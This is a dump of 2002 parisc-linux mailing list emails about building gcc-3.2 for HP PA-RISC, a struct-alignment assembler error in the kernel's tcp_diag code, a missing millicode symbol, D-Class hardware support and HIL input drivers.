Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B5F048A5
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 10:39:17 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17UVM1-0002N9-00; Tue, 16 Jul 2002 18:39:13 +0200
In-Reply-To: <20020716161335.GL8724@tausq.org>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15527

Quoting Randolph Chung <randolph@tausq.org>:

> > I just modify to match my develop env and mainly I added
> --host=hppa-linux (I am
> > building gcc-3.2 on a b2000) in the configure:
> > '$GCC_SRC/gcc/configure --prefix=$TOOLS --enable-languages=c
> --host=hppa-linux'
> 
> fwiw i use something like this:
> 
> ~/src/gcc-3.2/configure --prefix=/home/tausq/opt/gnu --host=hppa-linux
> --build=hppa-linux --target=hppa-linux --enable-shared --disable-nls
> --enable-languages=c

A yes (I see)

> 
> if building hppa64-linux compilers, use --target=hppa64-linux instead.
> 
> then i do 'make bootstrap-lean' and then 'make install', set my PATH to
> include /home/tausq/opt/gnu/bin, run 'gcc -v' to make sure i have the 
> right version in my path, and then build the kernel.

The PATH was well set (gcc --version shows me well 3.2 20020711 ...)

> 
> alternatively, if i were building a cross-compiler (say
> hppa-linux->hppa64-linux), i would just do 'make' instead of 'make
> bootstrap-lean'

That make me the idea clear.
Many thanks,
   Joel

PS: humm I found something: mulU stand well in pa.c and pa.o well knows mulU but
is not in libgcc.a but well in libbackend.a?

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 9000 D-Class
Date: Tue, 16 Jul 2002 18:46:33 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <95BAF0F2-98DB-11D6-AA82-0030656F07A2@esiee.fr>
References: <20020716151513.GA1084@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621530 11042 80.91.229.3 (22 Nov 2014 01:58:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:50 +0000 (UTC)
Cc: T?rcio Rodrigues Bezerra <tarcio@cefet-al.br>,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 10:46:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F2D048BE
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Jul 2002 10:46:36 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 4AAF049C21; Tue, 16 Jul 2002 18:46:33 +0200 (CEST)
In-Reply-To: <20020716151513.GA1084@systemhalted>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15528

Le mardi 16 juillet 2002, =E0 05:15 , Carlos O'Donell a =E9crit :

>>> Thanks in advance.
>>> --
>>> T?rcio R. Bezerra
>>> Gerente de Tecnologia da Informa??o
>>> Centro Federal de Educa??o Tecnol?gica de Alagoas
>>
>> You can check out the current hardware database:
>> http://hwdb.parisc-linux.org/
>>
>> In particular:
>> http://hwdb.parisc-linux.org/view.php3?type=3Dmachine&name=3D720
>>
>> It looks happily supported :)
>>
>
> My mistake, you are looking to see if you D-Class is supported :}
> I think D-Class is partially supported...
>
> The hardware database will still be a good place to look.
> And there are some people listed as owning some D-Class systems.
>
Also check:
http://pateam.esiee.fr/list.html

you might find interesting info there.

And if you don't; feedback is always welcomed :o)


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.[02] alignment problem
Date: Tue, 16 Jul 2002 12:55:59 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200207161656.g6GGu0I3023366__33784.8669769757$1416621531$gmane$org@hiauly1.hia.nrc.ca>
References: <20020716050031.GA641@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621531 11046 80.91.229.3 (22 Nov 2014 01:58:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, gcc@gcc.gnu.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 10:56:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 132E3484B
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 10:56:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6GGu200023367;
	Tue, 16 Jul 2002 12:56:02 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6GGu0I3023366;
	Tue, 16 Jul 2002 12:56:00 -0400 (EDT)
In-Reply-To: <20020716050031.GA641@tausq.org> from "Randolph Chung" at Jul 15, 2002 10:00:31 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15529

> Compiling the linux kernel (2.4.19-rc1-ac5) with hppa64-linux-gcc 
> (3.0.4 or 3.2) gives:
> 
> tausq@a500:~/src/linux-2.4.19-rc1/net/ipv4$ hppa64-linux-gcc -D__KERNEL__ -I/home/tausq/src/linux-2.4.19-rc1/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -I /usr/lib/gcc-lib/hppa64-linux/3.0/include -DKBUILD_BASENAME=tcp_diag  -c -o tcp_diag.o tcp_diag.c
> {standard input}: Assembler messages:
> {standard input}:138: Error: Field not properly aligned [8] (44).
> {standard input}:138: Error: Invalid operands
> {standard input}:609: Error: Field not properly aligned [8] (44).
> {standard input}:609: Error: Invalid operands
> {standard input}:707: Error: Field not properly aligned [8] (44).
> {standard input}:707: Error: Invalid operands

These messages are coming from the assembler (remove "-pipe").  The
first is from "std %r4,44(%r3)".  The offset "44" is not correct for
a store double.  This is probably a problem with pointer arithmetic
in the source.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.[02] alignment problem
Date: Tue, 16 Jul 2002 13:01:13 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200207161701.g6GH1D03023385__27604.0691802793$1416621531$gmane$org@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621531 11049 80.91.229.3 (22 Nov 2014 01:58:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:51 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@parisc-linux.org,
	gcc@gcc.gnu.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 11:01:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37B6B48C0
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 11:01:17 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6GH1D00023386;
	Tue, 16 Jul 2002 13:01:14 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6GH1D03023385;
	Tue, 16 Jul 2002 13:01:13 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Jul 16, 2002 12:55:59 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15530

> These messages are coming from the assembler (remove "-pipe").  The
> first is from "std %r4,44(%r3)".  The offset "44" is not correct for
> a store double.  This is probably a problem with pointer arithmetic
> in the source.

Check the definition of RTA_ALIGNTO in linux/rtnetlink.h.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.[02] alignment problem
Date: Tue, 16 Jul 2002 10:22:55 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <20020716172255.GM8724__22894.3292204805$1416621531$gmane$org@tausq.org>
References: <200207161701.g6GH1D03023385@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621531 11054 80.91.229.3 (22 Nov 2014 01:58:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, gcc@gcc.gnu.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 11:19:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail12.speakeasy.net [216.254.0.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DB6A48A9
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 11:19:06 -0600 (MDT)
Original-Received: (qmail 9689 invoked from network); 16 Jul 2002 17:19:04 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail12.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <gcc@gcc.gnu.org>; 16 Jul 2002 17:19:04 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id DE1E1CE04E; Tue, 16 Jul 2002 10:22:55 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200207161701.g6GH1D03023385@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15531

In reference to a message from John David Anglin, dated Jul 16:
> > These messages are coming from the assembler (remove "-pipe").  The
> > first is from "std %r4,44(%r3)".  The offset "44" is not correct for
> > a store double.  This is probably a problem with pointer arithmetic
> > in the source.
> 
> Check the definition of RTA_ALIGNTO in linux/rtnetlink.h.

ah, this is not it, but i see what it is now.

include/linux/tcp_diag.h defines:

struct tcpdiag_sockid
{
        __u16   tcpdiag_sport;
        __u16   tcpdiag_dport;
        __u32   tcpdiag_src[4];
        __u32   tcpdiag_dst[4];
        __u32   tcpdiag_if;
        __u32   tcpdiag_cookie[2]; 
#define TCPDIAG_NOCOOKIE (~0U)
};

the code goes on to do:
        *((struct sock **)&r->id.tcpdiag_cookie) = sk;
and
            sk != *((struct sock **)&req->id.tcpdiag_cookie[0]))

even tho tcpdiag_cookie looks like it can be 64-bit aligned in the
struct, it appears that it isn't.... 

the "vomit grade hack" alan mentioned in another post is that in our
tree, we have:

struct tcpdiag_sockid
{
        __u16   tcpdiag_sport;
        __u16   tcpdiag_dport;
        __u32   tcpdiag_src[4];
        __u32   tcpdiag_dst[4];
        __u32   tcpdiag_if;
#if defined (__hppa__) && defined (__LP64__)
        char * parisc_hack_to_align_tcpdiag_cookie;
#endif
        __u32   tcpdiag_cookie[2];
#define TCPDIAG_NOCOOKIE (~0U)
};

why is the offset of tcpdiag_cookie[0] 44 and not 40?

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.[02] alignment problem
Date: Tue, 16 Jul 2002 18:24:08 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20020716182408.W27706__482.793284072791$1416621532$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <200207161701.g6GH1D03023385@hiauly1.hia.nrc.ca> <20020716172255.GM8724@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621532 11055 80.91.229.3 (22 Nov 2014 01:58:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:52 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org, gcc@gcc.gnu.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 11:24:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40E3A48C8
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 11:24:10 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17UW3U-0001LT-00; Tue, 16 Jul 2002 18:24:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020716172255.GM8724@tausq.org>; from randolph@tausq.org on Tue, Jul 16, 2002 at 10:22:55AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15532

On Tue, Jul 16, 2002 at 10:22:55AM -0700, Randolph Chung wrote:
> include/linux/tcp_diag.h defines:
> 
> struct tcpdiag_sockid
> {
>         __u16   tcpdiag_sport;
>         __u16   tcpdiag_dport;
>         __u32   tcpdiag_src[4];
>         __u32   tcpdiag_dst[4];
>         __u32   tcpdiag_if;
>         __u32   tcpdiag_cookie[2]; 
> #define TCPDIAG_NOCOOKIE (~0U)
> };

> why is the offset of tcpdiag_cookie[0] 44 and not 40?

0	tcpdiag_sport
2	tcpdiag_dport
4	tcpdiag_src
20	tcpdiag_dst
36	tcpdiag_if
40	tcpdiag_cookie

hmm.. worth checking that dport is at offset 2, not offset 4?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 bootstrap?
Date: Tue, 16 Jul 2002 13:27:00 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200207161727.g6GHR0j2023590@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621532 11057 80.91.229.3 (22 Nov 2014 01:58:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:52 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 11:27:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36B6448D0
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 11:27:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6GHR100023591;
	Tue, 16 Jul 2002 13:27:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6GHR0j2023590;
	Tue, 16 Jul 2002 13:27:00 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Jul 16, 2002 11:16:35 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15533

> > but when I try to use it to compile kernel-2.4.18-pa54 I got following error:
> > `gcc -print-libgcc-file-name`
> > /Develop/parisc-linux/src/linux-2.4.18-pa54/arch/parisc/lib/lib.a
> > /Develop/parisc-linux/src/linux-2.4.18-pa54/lib/lib.a  \
> >         --end-group \
> >         -o vmlinux
> > arch/parisc/kernel/kernel.o(__ksymtab+0x258): undefined reference to `$$mulU'  

> $$mulU is a millicode routine in libgcc.a.

Sorry, this routine is no longer in libgcc.a.  It was in the 32-bit
library for 3.0.x.  However, we have switched to the "64-bit" millicode
for both 32 and 64 bit code.  Gcc doesn't use it anymore but I see there
are a couple of remnants to clean up.

Your problem appears to be with arch/parisc/kernel/parisc_ksyms.c.
It imports the symbol.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HOWTO: Using HIL keyboard and HIL mouse on PARISC
Date: Tue, 16 Jul 2002 15:52:59 -0400 (EDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0207161535550.10023-100000@mojo.calyx.net>
References: <20020630231349.D29045@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621532 11061 80.91.229.3 (22 Nov 2014 01:58:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:52 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 13:53:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.calyx.net (mail.calyx.com [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 632C848B1
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Jul 2002 13:53:13 -0600 (MDT)
Original-Received: (qmail 3265 invoked from network); 16 Jul 2002 19:53:03 -0000
Original-Received: from mojo.calyx.com (HELO mojo) (aonwgaoe176thztaab3g@216.82.160.22)
  by mail.calyx.com with SMTP; 16 Jul 2002 19:53:03 -0000
In-Reply-To: <20020630231349.D29045@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15534

On Sun, 30 Jun 2002, Matthew Wilcox wrote:

> On Sun, Jun 30, 2002 at 07:33:43PM +0200, Helge Deller wrote:
> > The new HIL drivers were written by Brian S. Julin and I mostly only did some
> > bugfixing, cleanups and re-integration/re-organization  into our CVS kernel.
>
> Thanks to both of you for doing this.  It's great to have support for
> these devices in the Linux kernel.

NP.  There's still a lot of work to do on them; I haven't had much time
recently.  However if not fully functional they are at least
completely stable.  I have them loaded at work and am boasting a pretty
good uptime at this point (many thanks to whoever for doing whatever,
suddently my spurious system hangs came to a stop.)

I like Helge's strategy of moving the old keyboard driver to
a "simple driver" because eventually when all the keymaps are worked out
in the current driver, I think a simpler irq-only read-only interface
(without support for any other HP SDC functions) would be pretty easy
and good to have, and the old driver can be evolved into this whenever the
old linux keyboard system starts to be decomissioned.

Mostly my main concern with the driver right now is it keeps a tasklet
scheduled so often that it affects CPU statistics.  The simple driver
would not do this, but would not be able to support host-to-hil transfers.
Since I have yet to get my hands on any host-to-hil devices yet, I doubt
many people would miss host-to-hil support.

I'm not familiar with the hardware that we are currently getting the
100Hz clock from, but if can, and we do, follow suit with i386 and
increase HZ to 1000 this would make the timing of the driver much easier.
Otherwise being a little less agressive at the risk of an occasional
event latency would probably be best.

Anyway, back to catching up on e-mail.

--
Brian S. Julin





From - Thu Nov 08 21:23:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@redhat.com>
Newsgroups: gmane.linux.ports.parisc
